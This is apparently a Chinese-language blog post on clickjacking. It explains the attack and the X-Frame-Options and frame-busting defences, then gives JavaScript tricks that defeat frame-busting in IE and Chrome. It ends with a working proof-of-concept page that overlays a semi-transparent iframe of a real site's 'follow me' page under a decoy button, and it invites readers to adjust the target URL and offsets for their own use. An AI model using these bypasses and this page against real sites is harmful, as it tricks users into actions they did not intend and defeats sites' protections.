- A+
主要说一下问世多年却一直没被重视的”点击劫持”.
应用场景:
1.社区的关注功能,在WEB2.0时代”关注我”已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.
点击劫持科普:
简单来说就是在一个网页内再嵌入一个要攻击的网站,把这个嵌入的网站设置为透明,然后再上面覆盖一层东西,让你点到他想要你点到的位置,而实际上你点击的却是被嵌入的网站,这样就完成了一次点击劫持攻击.
防嵌入?怎么破?
因为”点击劫持”已经问世很多年,所以主流的浏览器基本上都提供的防御方案.
1.X-Frame-Options http响应头
三个选项:
(1)DENY : 不允许被任何网站嵌入.
(2)SAMEORIGIN : 允许被同源的网站嵌入.
(3)ALLOW-FROM uri : uri为一个指定的地址,仅允许这个uri嵌入.
对于用这个办法防御的网站来说没有什么好办法,但ie低版本并不支持.
2.FrameBusting
简单来说就是用JS来检测是否被嵌入.
经典的framebuting代码:
if (top.location !== self.location) top.location=self.location;
对于这种framebuting还是可以hacking下的:
1.IE下的突破方法:
if(self.ActiveXObject)var location={};
2.Chrome下的突破方法,不过偶尔会失效,因为是利用时间竞争来突破的:
if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome
乌云正好是用的这种经典framebusting,所以这里用乌云做个范例.
乌云”关注我”功能的POC:
<script>
var xx=200;
var yy=200;
window.onload=function (e){
var iframe = document.getElementById('xxx');
var e = e||window.event;
var x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;
var y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop;
iframe.style.left=a.offsetLeft-xx;
iframe.style.top=a.offsetTop-yy;
}
</script>
<script>
if(self.ActiveXObject)var location={};//IE
if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome
</script>
<iframe style="position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;" id=xxx src="http://www.wooyun.org/whitehats/Sogili" WIDTH=60% height=500></iframe>
<br><br></br><br></br><br></br><center><button id=a>点击</button></center>
自己用的话调下iframe的地址,宽高和xx,yy这个两个变量的值就好.